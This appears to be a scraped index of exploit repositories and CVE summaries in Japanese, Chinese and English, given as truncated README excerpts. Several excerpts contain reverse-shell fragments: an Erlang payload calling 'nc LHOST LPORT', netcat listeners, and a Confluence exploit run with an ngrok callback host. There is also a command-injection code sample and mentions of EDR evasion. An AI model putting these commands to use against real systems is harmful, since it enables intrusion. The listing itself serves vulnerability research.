CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 2018 RCE 该仓库包含我为 Adobe ColdFusion 2018 中 RCE 漏洞编写的利用代码。 漏洞利用说明 该利用程序向 /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm 发送一个包含 JSP 反弹 Shell 的 POST 请求。如果成功，则会将 Shell 上传至...

bash-4.3-fixed-CVE-2014-6271

はじめに これはGNU Bash、バージョン4.3です。BashはGNUプロジェクトのBourne Again SHellであり、POSIXシェル仕様の完全な実装であるだけでなく、対話的なコマンドライン編集、対応アーキテクチャでのジョブ制御、csh風の機能（履歴置換やブレース展開など）を含む数多くの機能を備えています。この種のシェルにおけるBashの新機能の詳細については、ファイル doc/bashref.texi を参照してください。また、大規模なUnixスタイルのmanページもあります。manページはシェルの機能の正式な説明です。...

CVE-2025-3243

CVE-2025-32433 Erlang SSHライブラリのエクスプロイト CVE-2025-32433 の概念実証エクスプロイトです。これはErlangのSSHライブラリにおける深刻な脆弱性であり、不正な SSHMSGCHANNELREQUEST パケットによって認証前のコード実行を可能にします。 特徴 オリジナルエクスプロイト : Matthew Keeley 氏 更新版 : Tyler Ramsbey 氏 LHOST 、LPORT 、RHOST 、RPORT のコマンドライン引数 argparse によるビルトインのヘルプと使用方法 os:cmd"nc LHOST LPORT -...

CVE-2011-2523

CVE-2011-2523 - vsftpd 2.3.4 エクスプロイト 説明 Very Secure FTP Daemon（vsftpd）は、Linuxを含むUnix系プラットフォーム向けのFTPサーバーです。GNU General Public Licenceの条件の下で配布されています。IPv6とSSLをサポートしています。 2011年7月、マスターサイトからダウンロードできたvsftpdバージョン2.3.4が改竄されていたことが明らかになりました。ハッキングされたvsftpd-2.3.4サーバーにログインするユーザーは、ユーザー名として :...

GhostLock-Galaxy

GhostLock-Galaxy 中文: READMEZH.md これは別リポジトリです。このルートは adb shell または Shizuku を通じて取得した Android シェル権限を必要とするためです。元の YuKongA/ghostlock-app はシェル権限を使用せず、異なる実行ルートをたどります。その要件とコードパスが本プロジェクトと互換性があると仮定すべきではありません。 対応デバイス デバイス| カーネル ---|--- Samsung Galaxy Z Fold6 SM-F9560 / q6q|...

IPFire_2.25_RCE_Authenticated

IPFire 2.25 リモートコード実行（認証済み）- CVE-2021-33393 このエクスプロイトは CVE-2021-33393 https://nvd.nist.gov/vuln/detail/CVE-2021-33393 に基づいており、Mücahit Saratar https://github.com/KaanaryOverFlow/ipfire-2-25-auth-rce による元のエクスプロイトを基盤として、root 権限でリバースシェルを取得できるように拡張したものです。 使用方法 リスナーを起動します: nc -lvnp 4444 エクスプロイトを実行します:...

CVE-2024-23692

CVE-2024-23692 - Rejetto HFS リモートコード実行 RCE CVE-2024-23692 に関する戦術的ドキュメントおよびエクスプロイトガイド。これは、Rejetto HTTP File Server HFS の 2.3m より前のバージョンに影響を与える、認証不要の重大なリモートコード実行 RCE 脆弱性です。本ガイドでは、 インメモリ・リバースシェル RAM のみ 技術を活用し、シグネチャベースのアンチウイルス/EDR によるディスク書き込み検知を回避します。 免責事項:...

CVE-2026-94503

Unrestricted Upload of File with Dangerous Type vulnerability in PX-lab Zombify zombify allows Upload a Web Shell to a Web Server.This issue affects Zombify: from n/a through 1.7.7...

EUVD-2026-95633

Unrestricted Upload of File with Dangerous Type vulnerability in PX-lab Zombify zombify allows Upload a Web Shell to a Web Server.This issue affects Zombify: from n/a through 1.7.7...

CVE-2026-94503 WordPress Zombify plugin <= 1.7.7 - Arbitrary File Upload vulnerability

Unrestricted Upload of File with Dangerous Type vulnerability in PX-lab Zombify zombify allows Upload a Web Shell to a Web Server.This issue affects Zombify: from n/a through 1.7.7...

CVE-2026-94503

The PX-lab Zombify WordPress plugin (versions n/a through 1.7.7 ) is vulnerable to an Unrestricted Upload of File with Dangerous Type (CWE-434). This vulnerability allows an attacker to upload a web shell to the web server, potentially leading to unauthorized access and control. No specific remed...

CVE-2026-102422

A flaw was found in shell-quote. This vulnerability allows an attacker to achieve arbitrary command execution by supplying crafted input containing line break characters after a comment marker. When input is quoted, the comment marker comments out subsequent quotes until a newline is encountered,...

XSS2Shell-CVE-2026-64638

此存储库没有 README。...

CVE-2026-11120-Command-Injection-via-Git-URL-in-CI-CD-Pipeline

CVE-2026-11120 – CI/CDパイプラインにおけるGit URLを介したコマンドインジェクション プログラムコード（Python） cicdbuild.py - Clones repository without sanitizing URL import subprocess, sys def cloneandbuildrepourl: Vulnerability: repourl can contain shell metacharacters cmd = f"git clone repourl /tmp/repo" subprocess.checkcallcmd,...

OpenWire-CVE-2023-46604-Investigation

OpenWire-CVE-2023-46604-Investigation OpenWire ラボ Tier 2 の Security Operations Center SOC アナリストとしてシフト中、Tier 1 アナリストから、複数の不審な外部IPアドレスと通信していることが観察された公開アクセス可能なサーバに関するエスカレーションを受け取りました。 これに対応し、私は標準的なインシデントレスポンス IR...

CVE-2026-22226

CVE-2026-22226 CVE-2026-22226 概念验证 TP-Link Archer Wi-Fi 路由器 VPN 客户端中经过认证的局域网侧操作系统命令注入 漏洞概述 VPN 客户端控制器将用户可控的条目描述（des）以较弱的验证正则表达式存储在 UCI 配置中。当该条目随后被读回时（在 WebUI 中编辑时），getovpndata 会将 des 直接插入到传给 os.execute 的带引号 shell 命令中，且没有任何净化处理： -- getovpndata in vpn.lua fileovpnpathlocal =...

CVE-2017-12149

CVE-2017-12149 CVE-2017-12149 JBOSS as 6.X逆シリアル化リバースシェル版 作者のコマンドラインモードに基づいてGUIインターフェースを書き換える 詳細:http://www.cnblogs.com/sevck/p/7874438.html...

CVE-2020-5902-rce-gui

CVE-2020-5902-RCE-BigエクスプロイトツールGUI版v1.0 ツールの使用方法 コマンド実行の場所では、初回の実行に失敗した場合は数回再実行してください。 複数ターゲットアドレスの一括検出 リバースシェルの実行 単一ターゲットアドレスの検出 ファイルアップロード ソフトウェアのダウンロード先 リンク: https://pan.baidu.com/s/1fqbcKQymxymG3z4E0vsVw パスワード: nmih...

CVE-2020-14882_Exploit_Gui

CVE-2020-14882ExploitGui 本ツールは認可された状態でのみ使用してください。刑事案件が発生した場合、無認可の攻撃行為は当方とは無関係です。皆様には『网络安全法』を熟知していただきますようお願いします。 とあるペネトレーションテスト中に14882に遭遇しましたが、使いやすいGUIのPOCが見つからなかったため、リファクタリングしました。個人的にはGUIベースのPOCの方が好みです。 v1バージョンでは10.3.6バージョンは利用できません。...

CVE-2023-22527-confluence

CVE-2023-22527-confluence Confluence CVE-2023-22527 実世界のPoC 使用方法 bunをダウンロード https://github.com/oven-sh/bun/releases ngrokを起動 ngrok tcp 4444 localhost 4444で待ち受け nc -nvlp 4444 エクスプロイトを実行 bun exploit-CVE-2023-22527.js --lhost 0.tcp.ap.ngrok.io --lport 12169 --target https://xxx/ 結果...